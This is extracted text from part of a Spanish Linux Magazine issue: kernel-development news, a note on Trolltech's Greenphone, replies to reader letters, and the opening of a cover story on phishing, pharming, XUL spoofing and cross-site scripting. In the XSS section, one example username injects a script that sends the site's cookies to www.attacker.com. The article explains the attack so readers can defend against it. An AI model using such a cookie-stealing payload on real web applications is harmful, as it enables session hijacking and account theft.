1732, CVE-2006-1741).

9Número 20W W W . L I N U X - M A G A Z I N E . E S

Page 10: Linux Magazine - Edición en Castellano, Nº 20

ESTADO DEL 2.4 Y ESTABILI-

DAD

El árbol 2.4 del kernel de Marcello Tosatti está

en un profundo estado de mantenimiento al

haberse detenido la portación inversa de

código para drivers de la rama 2.6. Con el de-

sarrollo del árbol 2.4 virtualmente parado y el

árbol 2.6 siguiendo su desarrollo, las cuestio-

nes concernientes a la estabilidad no pueden

más que volver a surgir una y otra vez. Si bien

se espera que las distribuciones de Linux se

hagan responsables de la mayor parte del pro-

ceso de estabilización de sus propios kernels,

y dados los intentos del árbol w.x.y.z para

acercar cada lanzamiento del kernel a una

mayor estabilidad, estos esfuerzos van más

bien encaminados a mejorar el tiempo de

conexión sin preocuparse del comporta-

miento general del kernel.

A medida que el 2.6 continúa desarrollán-

dose cambia sus interfaces, lo que obstaculiza

el desarrollo de terceros para escribir software

que funcione de manera fiable en toda la

gama de versiones 2.6. Este problema puede

agravarse a medida que transcurra el tiempo,

hasta que surja algo tan bueno como el anti-

guo ciclo de desarrollo de par/impar.

ESTADO DE DEVFS

Greg Kroah-Hartman continúa con su cam-

paña para eliminar DevFS del kernel. Desde el

lanzamiento del kernel 2.6.13, la opción de

activar DevFS no ha estado disponible para los

usuarios, aunque parece que nadie se ha

lamentado por ello. Desde entonces, Greg ha

remitido parches para todas las versiones del

kernel principales, parches que eliminan el

código DevFS completamente. Y acaba de

hacer lo mismo para la versión 2.6.16…

Andrew Morton ha aceptado el cambio tam-

bién en su serie -mm.

Está claro que DevFS se va a eliminar tarde

o temprano, y aunque no lo haga de la versión

2.6.16, sí lo hará en un futuro próximo. Pero,

aparentemente, siempre quedará un residuo

de él en el kernel, en el fichero de la documen-

tación /ioctl-number.txt. La existencia de

DevFS debe registrarse ahí como evidencia de

haber utilizado sus números ioctl, para que

puedan ser reutilizados por cualquier otra

cosa en el futuro.

Como parte de la transición de DevFS, Greg

continúa manteniendo su muy pequeña alter-

nativa , ndevfs.

ESTADO DE KLIBC

H. Peter Anvin ha llevado klibc hasta el nivel

de estabilidad en el que considera que está

maduro para su inclusión en el kernel. Este

proyecto pretende crear un libc muy pequeño,

lo bastante pequeño como para ser incluido

en el mismo binario del kernel y que esté dis-

ponible en situaciones en las que el libc mayor

no esté accesible.

Hay varios grupos que están muy contentos

con el progreso de este proyecto y muestran

mucho interés en probar y portar el código.

Uno de los aspectos más interesantes de este

proyecto es, según indicó Antonio Vargas, que

el kernel de Linux está evolucionando poco a

poco hacia una arquitectura más modular,

haciéndose hueco en el espacio de usuario de

una manera casi microkernelesca.

Linux Torvalds comentó algo sobre esto

hace unos años, diciendo que le gustaría ver

rutas de comunicación cada vez más formales

dentro del kernel para crear una estructura

cada vez más modular e independiente, pero

que no estaba dispuesto a asumir los sacrifi-

cios en eficiencia que asumen los que abogan

por un micro-kernel.

ESTADO DE LINUX-LIBC-HEA-

DERS

Mariusz Mazur se ha visto obligado a abando-

nar el desarrollo de linux-libc-headers. Una de

las quejas perennes sobre el kernel es que los

usuarios quieren incluir cabeceras del kernel

en el software que se ejecuta en espacio de

usuario. Los desarrolladores del kernel insis-

ten que esto no se debería hacer nunca, pero

eso no impide que otros programadores lo

requieran.

El proyecto de Mariusz hacía que fuera

posible, pero a expensas de un código verda-

deramente feo que (según Linus Torvalds)

nunca se incorporaría al kernel, al menos no

en esa forma.

Por tanto, el parche de Mariuzs no hacía

más que crecer, en la misma proporción en la

que nuevas versiones del kernel se alejaban

del hack. El tiempo empleado en portar la

solución a un nuevo kernel también se incre-

mentaba y llegó a ser insostenible. Sin

embargo, la necesidad para linux-libc-headers

sigue existiendo y varias personas implicadas

en el desarrollo del kernel han decidido

hacerse cargo del proyecto y estudian la

manera de seguir su desarrollo como grupo

sin tener que cargar todo el trabajo en un solo

desarrollador.

Si bien los detalles de la transición están sin

definir, hay ya una buena cantidad de desarro-

lladores del kernel que se están ocupando de

problemas de diseño subyacentes en un

esfuerzo de conseguir algo que algún día sea

aceptable para Linus.

Lo que tampoco está decidido es el rol de

Mariusz, ni siquiera se sabe si asumirá un

papel relevante en el nuevo proyecto o si lo

NOTICIAS DELKERNEL

Schlagwort sollte hier stehenLINUX USERNOTICIAS DEL KERNEL

La lista de correo del kernel de Linux comprende lo princi-

pal de las actividades de desarrollo de Linux. El volumen

del tráfico es inmenso, alcanzándose a menudo los diez

mil mensajes semanales. Mantenerse al día de todo lo que

sucede en el desarrollo del kernel es casi imposible para

una sola persona.

Sin embargo Zack Brown es uno de los pocos valientes

que lo intentan y a partir de ahora, podrá leerse lo último

de las discusiones y decisiones con respecto del kernel de

Linux llevados de la mano de este experto.

Zack ha publicado un resumen online semanal llamado

“The Kernel Traffic Newsletter” durante cinco años. Linux

Magazine te trae ahora la quintaesencia de las actividades

del kernel de Linux del mayor especialista en el tema.

10 Número 20 W W W . L I N U X - M A G A Z I N E . E S

Page 11: Linux Magazine - Edición en Castellano, Nº 20

abandonará íntegramente a terceros. Y encuanto a los mantenedores, queda por ver sise asignará un solo mantenedor, un grupo demantenedores o si la mayoría de los proble-mas se solucionarán en este fervor.

EL BAILE DEL 1395Adrian Bunk ha remitido un parche para eli-minar RAW1394_REQ_ISO_SEND yRAW1394_REQ_ISO_LISTEN del kernel, ale-gando que el nuevo interfaz rawiso basado enioctl es más eficiente. Por tanto, en teoría, elkernel debería seguir ofreciendo el mismonivel de soporte. Sin embargo, Gene Heskett yotros no andan muy contentos, ya que, por loque se ve, el ieee 1394 está roto desde la ver-sión Linux 2.6.13-rc1, a la vez que la lista decorreo de 1394-devel parece no hacer muchocaso a los informes de error. Gene tiene unanueva cámara Sony DVR-TVR460 que hadejado de funcionar a partir de la versión2.6.13-rc1.

ADIOS A BLKMTDJörn Engel ha remitido un parche que eliminablkmtd, ya que existe una alternativa en fun-cionamiento que no ha recibido un informede error en más de un año. Aparentemente,

blkmtd interfiere con los esfuerzos de H. PeterAnvin de integrar klibc y no hay una razón depeso para conservarlo.

El parche de Jörn eleva la característicablock2mtd, convirtiéndola en el método pordefecto de visualizar dispositivos de memoriacomo dispositivos de bloques. Andrew Mor-ton aceptó el parche casi incluso antes de quese remitiese. “Carguémoslo” fueron sus pala-bras, antes de enviarlo directamente a Linus,sin siquiera dejarlo fermentar en el árbol -mm.

LA VELOCIDAD DE GITgit ya no requiere un fork para una invocacióndiff. Linus Torvalds ha implementado soporteinterno de diff, recortando el tiempo de gene-ración de git diff a una sexta parte. Tambiénhace que git sea más portable en general, yaque no hay peligro de un fork bajo sistemasoperativos de Microsoft.

Alez Riesen probó el parche de Linus bajoCygwin e informó de mejoras de rendimientode hasta cincuenta veces con respecto a la ver-sión anterior. En vez de ejecutarse sus pruebasen un par de minutos, se ejecutaron en un parde segundos. En palabras de Linus: “Ésa es ladiferencia entre ‘inutilizable’ y ‘bastantebueno’”.

VMWARE Y PARAVIRTUALI-ZACIÓN

Al igual que Xen, la gente de VMWare está tra-bajando en la implementación de laparavirtualización que permitiría la ejecuciónnativa (o casi nativa) de múltiples instanciasde Linux en su hardware.

Esto se consigue haciendo que sea el propiokernel de Linux quien informe al sistema deVMWare de ciertas actividades que lleva acabo, con lo que se aportan enormes mejorasde velocidad sobre los esfuerzos anteriores deVMWare por conseguir la virtualizaciónplena.

Lo que es más, VMWare quiere que la inter-faz existente entre sí mismo y Linux segeneralice para que pueda ser utilizada porcualquier otro motor virtual, con la intenciónde no crear ningún tipo de interfaz especiali-zado y propietario dentro del kernel (o esodicen).

En última instancia, VMWare querría quelos kernels paravirtualizados fueran los ker-nels por defecto compilados sobre cualquiermáquina, lo que permitiría a los usuarios lan-zar diversos kernels simultáneamente demanera trivial.

NOTICIAS DEL KERNEL

Page 12: Linux Magazine - Edición en Castellano, Nº 20

Piensa en Verde…

Trolltech amplia su

oferta para, no sólo

producir excelente

software para el des-

arrollo de interfaces

gráficas (entre ellas el

escritorio KDE), sino

para dar un impulso a

sus escritorios empo-

trados, poniendo a la

venta su propio telé-

fono móvil: El

GreenPhone.

Primero las especificaciones: el hardware

es el de un teléfono con esteroides, esto es,

procesador dual-core Marvell XScale a

312MHz, 64 MB de RAM y 128 MBs de

memoria Flash, lo que lo convierte en el

sueño reencarnado en móvil de cualquier

geek.

Viene con una pantalla táctil tipo PDA

(aunque el interfaz también permite ser

operado a través del teclado) de 320 x 240

pixels, slot para tarjetas SD, modem

Broadcom BCM2121 GSM/GPRS con soporte

para WIFI, Bluetooth e IrDA y el

imprescindible mini-puerto USB, esencial

para descargar software y flashear la ROM…

Porque esto es de lo que va todo. El GP es

una máquina diseñada para impulsar el

desarrollo de la plataforma para móviles de

Trolltech, el hecho es que, de momento, sólo

hay una versión para desarrolladores y

probablemente nunca exista una versión para

el gran público, o al menos no con las

mismas características.

Si el aparato tiene éxito entre los geeks

dedicados al desarrollo de aplicaciones para

sistemas emprotados, Qt verá cómo el

número de aplicaciones creadas para su sis-

tema se incrementa exponencialmente,

situando a la empresa en una posición de

poder que le permita empujar sus productos

sobre terminales de otras marcas.

Es más que probable que esta estrategia se

deba a que los noruegos de Trolltech hayan

puesto sus barbas a remojar, al ver los rasura-

dos carrillos de sus vecinos, los finlandeses de

Nokia, que cada día apuestan más y más

fuerte por utilizar plataformas libres en sus

dispositivos. Motorola es otro de los jugado-

res que no tienen reparos en abandonar

plataformas más tradicionales por otras basa-

das en pingüinos, habiendo puesto en

circulación más de un millón de teléfonos

inteligentes Linux en China en el segundo tri-

mestre del 2006.

Pero, volviendo al GreenPhone, el sistema

operativo es un Qtopia Phone Edition 4.1.4

sobre un kernel Linux 2.4.19 y “todo el soft-

ware, a excepción de los componentes que

interactúan con la banda base, son libres”,

según el co-CEO de Trolltech Eirik Chambe-

Eng. La empresa tendrá versiones del aparato

disponibles a precios rebajados para poseedo-

res de licencias Qt. Y, por si a alguien le

quedaba alguna duda, Benoit Schilling, CTO

de Trolltech, se encarga de disiparlas: “Le

contaré un secreto: conseguir poner el telé-

fono en manos de los desarrolladores del

software libre es justo lo que deseamos”.

Supongo que no estará tan contento el día

que alguien quite Qtopia y le instale Gnome

sobre X, pero, en fin.

http://www.trolltech.com/products/qtopia/

phone_edition/greenphone

PRODUCTOS

Schlagwort sollte hier stehenLINUX USERNOTICIAS

Page 13: Linux Magazine - Edición en Castellano, Nº 20
Page 14: Linux Magazine - Edición en Castellano, Nº 20

14

consultar los RFCs de los protocolos y

estudiar el código de los programas (y

nada de mirar los comentarios, que

eso es para pusilánimes). Los RFCs y

el código pueden ser muy

informativos, pero una cosa es tener

acceso a la información y otra

comprenderla. Resulta que la mayoría

de los seres humanos no sólo necesita

que le proporcionen información, sino

que necesita ejemplos contrastados

para comprenderla. ¡Justo lo que

aportamos en Linux Magazine!

Otra de las misiones de los

redactores de Linux Magazine es

probar que el software de verdad hace

lo que dice que hace. Muchos

programadores hacen que sus

aplicaciones funcionen para ellos y

después las liberan al mundo. Que

funcionen en unas determinadas

condiciones controladas no significa

que funcionen para el resto de los

mortales. Nosotros ponemos a un

grupo de especialistas a probar las

tecnologías que van surgiendo,

encontramos sus fallos, sugerimos

soluciones o alternativas y allanamos

el camino para su uso. Por supuesto

que la búsqueda de esas soluciones y

alternativas también se puede

encomendar a voluntarios, pero esos

voluntarios han de hacerlo en su

tiempo libre, sacrificando tiempo que,

de otra manera podrían aprovechar

para ganar dinero, cosa que amenaza

la continuidad del servicio (ver

después).

Además, las soluciones de los

voluntarios pueden estar repartidas a

lo largo y ancho de la world wide

web, escondidas en comentarios

secundarios de un foro que ni siquiera

Google lista. No puede obligar a un

voluntario a que se lo ponga en

bandeja. A nosotros sí.

Uno de nuestros fines es investigar

todas las líneas de desarrollo y

reunirlas en un todo coherente y

estructurado. Si a esto le llama usted

“regurgitar”, efectivamente, de vez en

documentación impresa que

posteriormente se pone a la venta.

Sí, sí, el software es libre, los

programas vienen con su código

fuente, los estándares son abiertos,

pero pregúntele a un desarrollador

cuál es la tarea más desagradecida,

aburrida y de poder evitarlo, cuál

evitaría, del proceso de desarrollo y

contestará: La documentación.

De hecho, la falta de

documentación es el principal

anatema del software libre. Cuando

alguien pregunta en qué puede

ayudar en un proyecto,

automáticamente se le pide que

ayude en las labores de

documentación. Desarrollar está

bien, depurar es… bueno… no está

tan bien, pero tiene su punto, sobre

todo cuando cazas el bug. Sin

embargo, documentar es una

pesadilla.

Las revistas especializadas son

TODO documentación. Ni más, ni

menos. Alguien tiene que hacer el

trabajo sucio y por 6,95 es una

ganga.

Pero ¿qué pasa en los casos muy

documentados? Existe la posibilidad

de sobre-documentar. Fue Henry

Spencer quien dijo una vez: “¿Leer

las especificaciones OSI? ¡Si ni

siquiera puedo levantarlos!” ¿De

verdad es realista estudiar toda la

documentación de un programa, API

o protocolo, que puede abarcar miles

de páginas, para una implementación

específica? ¿Y si, como ocurre a

menudo, uno de nuestros autores ya

lo ha hecho por usted? ¡Qué suerte y

cuántas horas le hemos podido

ahorrar! Si valora el tiempo en la

misma medida que nosotros (a fin de

cuentas es lo único que no puede

volver a recuperar), coincidirá que

un artículo que ahorra varios días de

investigación y trabajo bien puede

merecer el precio de portada.

Y, además, por su propia regla de

tres, lo único que haría falta es

Correo del Lector

ACCESO DE ESCRITURA

Schlagwort sollte hier stehenLINUX USERCORREO

14 Número 20 W W W . L I N U X - M A G A Z I N E . E S

Insuficiente

Estimados responsables de Linux

Magazine,

Recientemente estaba aburrido

esperando un avión y decidí

comprarme un ejemplar de su

revista. No suelo comprar revistas de

Linux, ya que la mayoría no suelen

hacer otra cosa que no sea regurgitar

a partir de material disponible en

Internet. Es más, muchas tienen la

desfachatez de ni siquiera ocultarlo y

referirme a recursos en la red… Y su

revista, tras su bonita apariencia, no

es una excepción.

Lo que es más, la elección de

algunos de los temas rayan en lo

ridículo. ¿Mejorar fotos con GIMP?

¿Instalación y configuración de otro

reproductor MP3? ¡Por favor! No me

esperaba esto de una revista que se

las da de “profesional”.

¿No les parece que es absurda una

revista de Linux, por la que cobráis,

si toda la información se puede

encontrar gratuitamente en Internet?

¿No les parece absurdo vender su

revista como la panacea para el

profesional de Linux y después

llenarla con artículos de relleno?

Alberto

¿Hemos de inferir que no le ha

gustado la revista?

Los que hacemos Linux Magazine,

independientemente de hacerlo

porque hemos de ganarnos la vida

de alguna forma (y qué mejor forma

de hacerlo que publicando una

revista sobre lo que nos gusta),

queremos aclararle algunos puntos

que surgen de vez en cuando (no, no

es usted el primero ni será el último

en sacar el tema) sobre la

www.alm

ogon.de

LM

Page 15: Linux Magazine - Edición en Castellano, Nº 20
Page 16: Linux Magazine - Edición en Castellano, Nº 20

¿Lo probamos? Venga. En un

número de Linux Magazine hay una

media de entre 15 y 19 artículos

técnicos. Suponiendo que cada

artículo aborde un único proyecto (lo

cual es mucho suponer), si usted

visitara y donara un mísero euro a

cada uno de los proyectos contenidos

en un solo número de nuestra revista,

estaría gastando de media más del

doble de lo que cuesta un ejemplar en

quiosco.

De todas maneras, después de haber

pagado a nuestros autores (que, en

muchos casos, son esos seres

altruistas que mencionábamos antes)

y proveedores, volvemos a volcar la

información a Internet. Podríamos

poner en la web resúmenes, extractos

o el primer párrafo de cada artículo,

como hacen otros, y publicar un

enlace que permita descargar el

artículo completo por un precio. Pero

no, nosotros lo ponemos todo libre y

gratuitamente a disposición del

público, saldando así nuestra deuda

con la comunidad online, en el caso

de que la hubiere.

En cuanto a su crítica sobre algunas

de las aplicaciones elegidas, a

diferencia de otros sistemas

operativos, Linux tiene el potencial de

ser de todo para todos. El amplio

espectro de dispositivos que soporta,

la enorme cantidad de software para

todo tipo de aplicación, hacen que

una revista de Linux ha de intentar

ofrecer el abanico más completo de

temas que quepa en sus páginas.

Cuando el mercado de

documentación sobre Linux en España

sea enormemente grande y haya

cabida para publicaciones

especializadas (nunca creí que

llegaría el día en el cual sugeriría que

Linux Magazine es una revista

generalista), no se preocupe, que

saldremos con Linux Magazine Server,

Linux Magazine Developer y Linux

Magazine Desktop.

Pero mucho me temo que, llegado el

día, usted seguirá considerando

nuestras publicaciones igual de

redundantes que ahora.

Excesivo

Muy Señores Míos,

Hace poco me decidí a probar

Linux y, en vista de lo que me

comentaban amigos y compañeros,

pensé que necesitaría una ayudita,

por lo que decidí comprar su revista.

Me sentí muy decepcionado al

encontrar que no cumplía mis

expectativas. No encontré la ayuda

que necesitaba. No explicaba cómo

instalar el sistema ni cómo

prepararlo para acceder a Internet.

Con su revista, no sé por donde

empezar. Presupone demasiados

conocimientos, de los que, me

imagino, muchos de los que

pretenden utilizar Linux no

dispondrán.

Espero que puedan solucionar esa

falta, ya que, sin tener la formación

necesaria para evaluar del todo su

revista, parece ser de las mejores del

mercado.

Un saludo

Víctor

(¿Lo ves, Alberto?)

Estimado Víctor,

Efectivamente, Linux Magazine

presupone algunas cosas, entre ellas

que sus lectores ya tienen instalado

Linux y que el sistema se encuentra

en un mínimo estado de

configuración. Después, cada sección

hace suposiciones sobre los lectores

a los cuales se dirige: la sección de

desarrollo supone que se dispone de

conocimientos de programación, la

sección de administración de

sistemas supone que se sabe

administrar un servidor y la sección

de LinuxUser supone que se tiene un

escritorio en funcionamiento y se

está mínimamente familiarizado con

su manejo.

Si su pregunta es “¿Cuándo van a

publicar un tutorial completo de

cómo instalar Linux desde cero?”, la

respuesta es: probablemente nunca,

a no ser que abordemos alguna vez

una instalación especializada y

excepcionalmente compleja para un

fin concreto.

Sin embargo, nuestra intención

nunca ha sido dejar a los usuarios

noveles fuera, y por ello, si nos lo

permite, ¿podemos sugerirle que le

eche un vistazo a EasyLinux

(www.easylinux.es), publicada por

esta misma casa y que contiene la

información que necesita para

empezar a funcionar en Linux? �

cuando regurgitamos. Eso sí, de

muchas fuentes diferentes, pero con el

mismo propósito que regurgitan los

pingüinos: el de aportar alimento a

sus crías (= los lectores) para que no

tengan que salir ellos mismos a cazar

(= perder el tiempo)… y esta

metáfora ha dado todo lo que tenía

que dar de sí. Por supuesto que los

enlaces al final de cada artículo son

(a) el reconocimiento a los autores

que nos han proporcionado la

información primaria y (b) la hebra

que le permite al lector llegar al

ovillo, en el caso de necesitarlo.

En todo caso, nunca hemos (y

nunca haremos) un copy y paste de

nuestras fuentes, sino que siempre

procesaremos, analizaremos e

ilustraremos con ejemplos la

información obtenida para darle un

valor añadido y hacerla más accesible

a los lectores.

En cuanto a la gratuidad, en inglés

decimos “there is no such thing as a

free lunch”, es decir, gratis, lo que es

totalmente gratis, no hay nada. Usted

paga su acceso a Internet (o se lo

pagan, la cuestión es que de algún

bolsillo sale), los contenidos han sido

desarrollados por un autor a quien, en

el caso de información procedente de

una corporación, alguien ha pagado

un salario. Incluso en el caso de

autores altruistas y sin ánimo de

lucro, esos autores vuelven a robar

tiempo a otros menesteres para poner

en la red la documentación. Si esos

autores descubren que esta tarea

obstaculiza sus necesidades primarias

dejarán de aportar, lo que nos lleva de

nuevo al peligro de la falta de

continuidad. ¿Y por qué cree que

tantos sitios web tienen un botón para

donaciones? Los autores necesitan

dinero para seguir con su labor. Si

usted pulsara en cada uno de esos

botones cada vez que descargara

software o consultara su

documentación, muy pronto se

encontraría pagando mucho más de lo

que vale un ejemplar de Linux

Magazine.

CORREO

16 Número 20 W W W . L I N U X - M A G A Z I N E . E S

LM

Page 17: Linux Magazine - Edición en Castellano, Nº 20

17Número 20W W W . L I N U X - M A G A Z I N E . E S

XSAEl phishing está basado en engañar al usua-

rio para que revele información personal

crítica. Pero hay otros métodos incluso más

difíciles de vigilar. Supongamos que esta-

mos logueados como usuarios de un foro.

De pronto, nuestro navegador nos pregunta

el nombre de usuario y contraseña (Figura

2). Si tecleamos nuestros datos pensando

que ha ocurrido algún tipo de error con el

software del foro, puede que un atacante

tenga ahora acceso a nuestra cuenta.

Este tipo de ataque se conoce como Cross

Site Authenticaion (XSA). El XSA se basa en

Evitar fisgones y estafadores en Internet

NAVEGACIÓN SEGURA

Navegación Segura• PORTADA

Navegar por la Web solía ser muy

sencillo, y todo parecía muy ino-

cente. Pero la Web de hoy en día se

ha convertido en un lugar muy diferente y

más oscuro. Si pulsamos en el lugar equivo-

cado, cualquier gángster informático de

cualquier lugar del mundo puede echar

mano de nuestro bolsillo. Nuestra mejor

defensa es saber las tretas y tener un plan

en consecuencia.

El tema de portada de este mes trata de

cómo podemos deambular por Internet de

manera segura y privada. Empezaremos

con un estudio del Pharming y el Phishing,

dos peligrosas técnicas que los estafadores

usan para acceder a nuestra información

personal y financiera. A continuación mos-

tramos Tor y Privoxy, dos herramientas de

privacidad que nos permiten navegar de

manera anónima. Y hablando de privaci-

dad, en nuestro tercer artículo de portada,

examinamos Antsp2p, un sistema que

soporta intercambio de archivos de forma

anónima.

Si queremos mantenernos libres de las

garras del ciber-crimen, o si simplemente

queremos navegar o compartir archivos sin

dejar trazas, seguro que encontramos algo

útil en los artículos del tema de portada de

este mes: Navegación Segura.

Pero antes de entrar en detalles, vamos a

empezar con un resumen de algunos de los

peligros que acechan al usuario de Internet.

PhishingPuede que alguna vez haya recibido un

correo electrónico (a menudo lleno de erra-

tas y deficiente gramática) pidiéndonos que

pulsemos en un enlace de nuestra supuesta

entidad bancaria, donde debemos rehabili-

tar nuestra cuenta online introduciendo de

nuevo nuestros datos. Si hemos recibido un

mensaje como el mencionado, hemos sido

objetivo de un ataque de phishing.

El phishing se basa en el comportamiento

de la gente poco cuidadosa (“si mi banco

me escribe, debe ser algo importante”).

Podemos encontrar algunos ejemplos de

ataques de phishing conocidos en la página

Web antiphishing.org [1].

Todo lo que se requiere para atacar una

dirección de

correo elec-

trónico es

añadirla en

una lista del cliente

de correo. Incluso se

añaden dominios no regis-

trados sin hacer ninguna

comprobación. Aparte de esto: un

email en HTML sólo necesita un link

con un texto visible que siga el patrón

www.cualquierbanco-xyz.com. Esto

no significa que la dirección nos

lleve a www.cualquierbanco-xyz.

com. Y por cierto, un enlace

como www.

cualquierbanco-xyz.

[email protected] no nos lleva

a ninguna página del

banco, sino que nos con-

duce a fraud.com.

¿Sabes lo suficiente para navegar a salvo de bucaneros y maleantes? Este mes os mostramos cómo

mantenerse alejado de todo tipo de trampas. POR JOE CASAD Y PETER KREUSSEL

Phishing . . . . . . . . . . . . . . . . . . . . . . . . 21

Tor y Privoxy. . . . . . . . . . . . . . . . . . . . . 26

Antsp2p. . . . . . . . . . . . . . . . . . . . . . . . . 29

EN PORTADA

Page 18: Linux Magazine - Edición en Castellano, Nº 20

Puede que perder la contraseña de un

foro no sea un golpe demasiado duro, pero

¿qué ocurre si esta contraseña es la misma

que usamos para nuestra tarjeta de crédito o

para una cuenta de un banco online?

JavaScriptJavaScript nos permite evaluar información

en formularios (Figura 3), incluso desde for-

mularios en ventanas diferentes. El peligro

que esto conlleva es bastante obvio. (Todo

lo que se necesita es tener la página del

banco online y la página fraudulenta abier-

tas al mismo tiempo, y el atacante puede

registrar lo que introduzcamos). JavaScript

restringe el acceso cruzado de ventanas o

marcos: esto funciona sólo si ambas pági-

nas o marcos están en el mismo dominio.

Para ser lo que es, la teoría funciona, pero

hemos de recordar que esta restricción no

se implementó correctamente en Firefox

hasta la versión 1.0. Las versiones actuales

de Konqueror y Opera no están afectadas

por esta vulnerabilidad, pero imaginemos el

siguiente escenario con un Firefox anterior

al 1.0: un atacante envía un enlace manipu-

lado por email. El correo abre la página de

nuestro banco, mientras que al mismo

tiempo abre un pequeño pop-up en

segundo plano. La ventana oculta puede

ahora registrar lo que tecleemos y hacerlo

llegar al atacante.

A la hora de tratar con JavaScript:

• No usar enlaces de fuentes no

confiables (es decir: email o páginas de

Internet no verificadas) para acceder a

páginas con aplicaciones críticas en

cuento a seguridad. Un enlace

cuidadosamente preparado puede

terminar inyectándonos código

JavaScript maligno.

• Usar sólo marcadores creados por no-

sotros mismos.

• Reiniciar el navegador para asegurarnos

de que el código JavaScript de una

página vista anteriormente por error no

sigue activa. Podemos revisar la sección

“Desktopia” del número 19 de Linux

Magazine edición en castellano apare-

cida en Septiembre de 2006

(“Extensibilidad”) donde encontrare-

mos información de algunas de las

extensiones más populares de Firefox,

incluida Noscript, que nos permite des-

habilitar JavaScript en las sesiones de

Firefox

Las aplicaciones Web y los foros a menudo

facilitan la vida a los atacantes, ofreciéndo-

les una puerta trasera que les permite

inyectar código JavaScript peligroso. Por

ejemplo, un atacante podría intentar

un sencillo principio: el atacante guarda

una imagen con la URL que conduce al

usuario desprevenido a un servidor Web

falso donde se le va a preguntar por su con-

traseña. En otras palabras, al usuario se le

pide la contraseña para ver la imagen.

Por supuesto, la página falsa preparada

por el atacante XSA está configurada para

aceptar cualquier combinación de nombre

de usuario y contraseña y para guardar

cualquier información que el usuario intro-

duzca. Esto permite que el atacante

recolecte las contraseñas de los usuarios

que se hayan logueado en la página falsa.

PORTADA • Navegación Segura

18 Número 20 W W W . L I N U X - M A G A Z I N E . E S

Firefox y Mozilla tienen una

“funcionalidad” que proporciona a los

phishers una poderosa herramienta: los

navegadores basados en Mozilla usan

XUL, un lenguaje basado en XML, para

generar la interfaz de usuario.

Desafortunadamente, estos

navegadores muestran los elementos

XUL incrustados en las páginas Web,

permitiendo a los atacantes emular los

elementos originales que se muestran,

como barras de dirección o cuadros de

diálogo.

Como demostración de cómo usar XUL

para ataques de phishing, podemos

visitar [2]: pongamos lo que pongamos

en la barra de direcciones falsa, el

navegador seguirá mostrándonos la

página de Google (véase Figura 1). La

barra de tareas y los menús son falsas y

no funcionan, pero para cuando nos

hayamos dado cuenta, puede ser

demasiado tarde.

Los Poderes Ocultos deXUL

Ningún banco que se precie se le pasaría

por la cabeza enviarnos un correo elec-

trónico pidiéndonos que introduzcamos

nuestra contraseña o claves de transac-

ción. Ningún proveedor serio de Internet

nos preguntaría jamás nuestra con-

traseña. Después de todo, las con-

traseñas de los verdaderos usuarios

deben estar guardadas en algún lugar

de sus bases de datos. Si ha ocurrido

algún problema técnico, puede tener

sentido pedir al usuario que se loguee

en el sistema, pero no lo tiene en abso-

luto solicitarle la contraseña.

¿Por qué me preguntas?

Figura 1: La barra de direcciones de esta figura es una falsificación

basada en XUL. No nos muestra la dirección de la página actual,

sino que muestra un texto predefinido por el atacante.

Figura 2: Si nos fijamos con cuidado, veremos que hay algo raro: el

dominio que nos pide la contraseña no es el mismo que el de la página

actual.

Page 19: Linux Magazine - Edición en Castellano, Nº 20

loguearse con el nombre de usuario Bad-

Boy<script>(new Image).src=”http://

www.attacker.com/spy.

php?sniff=+document.cookie”;</

script>).

La aplicación Web puede que rechace

este nombre debido a su longitud, o que fil-

tre el componente Javascript. Pero si no lo

filtra, el código que lee las cookies creadas

para los visitantes de la página

(document.cookie) y que las envía como

parámetro (sniff=[...]) a www.attacker.com

se inyecta en cada página en la que se pida

el nombre de usuario.

Las comprobaciones de seguridad en el

lado del navegador están condenadas a

fallar en esta situación: el código JavaScript

está en la página a la que pertenece la coo-

kie. Desde el punto de vista del navegador,

no hay nada erróneo o extraño en que un

script acceda a la cookie.

La mayoría de las aplicaciones Web usan

cookies para identificar a los usuarios

conectados (véase Figura 4). Un atacante

que consiga acceso a nuestra cookie de

sesión puede hacerse pasar por nosotros.

PharmingEl pharming es otra técnica de ataque

extremadamente peligrosa aparecida

recientemente. Los atacantes vía pharming

explotan agujeros de seguridad en el

sistema de DNS. El navegador tiene en

primer lugar que resolver la URL antes de

poder conectarse a una página. Para ello se

comunica previamente con un servidor de

DNS en Internet. Los servidores DNS se

basan en una jerarquía: el primer punto al

que consultan es al servidor DNS que

nuestro proveedor ha especificado al iniciar

la conexión a Internet. Si pedimos una

página que ese servidor DNS no conoce,

éste recurre a un servidor por encima de él

en el árbol de jerarquía. Si el servidor tiene

la dirección en su caché, no será necesario

seguir buscando hacia arriba. Los ataques

por envenenamiento de la caché intentan

inyectar valores manipulados en ésta.

Podemos encontrar más información en el

artículo “La Historia de Phish: Phishing,

Pharming y la amenaza del robo de

identidad” en la página 21 de este mismo

número.

SSL/TSLEl protocolo HTTP transfiere información

de manera que no permite a los usuarios

Navegación Segura • PORTADA

19Número 20W W W . L I N U X - M A G A Z I N E . E S

Figura 3: Debido a que JavaScript puede leer las entradas hechas

en formularios, un fallo de seguridad podría permitir a un script leer

formularios más allá de los límites del dominio, lo que permitiría a

un atacante enviar nuestra información a su propia dirección.

Figura 4: Las aplicaciones Web usan cookies para identificar usuarios.

Si el atacante accede a esta información a través de cross-site script-

ing, puede llegar a robar nuestra identidad.

Figura 5: Si Firefox muestra este aviso casi incomprensible, largo y

penosamente formulado, deberíamos considerar no seguir adelante

si estamos manejando información sensible.

Figura 6: Los candados con los colores de semáforo facilitan al usuario

saber la gravedad de un problema de seguridad en las páginas de Man-

driva.

Page 20: Linux Magazine - Edición en Castellano, Nº 20

no es un intento

en balde debido a

ataques de enve-

nenamiento de

DNS.

Pulsando en un

enlace de una

fuente no confia-

ble como un

correo electrónico

puede socavar

este tipo de segu-

ridad: la barra de

direcciones de

nuestro navegador

Web no mostrará

la dirección

correcta. El propietario de la dirección sabo-

teada perfectamente podría tener un

certificado válido para su página Web.

Hay otra restricción importante que debe-

ríamos tener en cuenta: SSL Versión 2.0

tiene algunos agujeros de seguridad. Si des-

habilitamos SSL 2.0 en nuestro navegador,

ya no podremos acceder a servidores Web

obsoletos que sólo proporcionan conexio-

nes SSL 2.0. Pero esto no es del todo malo,

pues las conexiones SSL 2.0 son un riesgo

de seguridad.

Otro problema es el exceso de adverten-

cias de seguridad causadas por

administradores de servidores que no

hacen bien su trabajo, y que crean un

entorno en el que los usuarios, hastiados

de ver tanta advertencia, terminan pul-

sando sobre OK sin reparar en lo que están

haciendo. En algunas ocasiones, los admi-

nistradores incluso sugieren que las

advertencias de seguridad son algo “nor-

mal” y les indican a los usuarios que

pulsen OK a todo lo que encuentren.

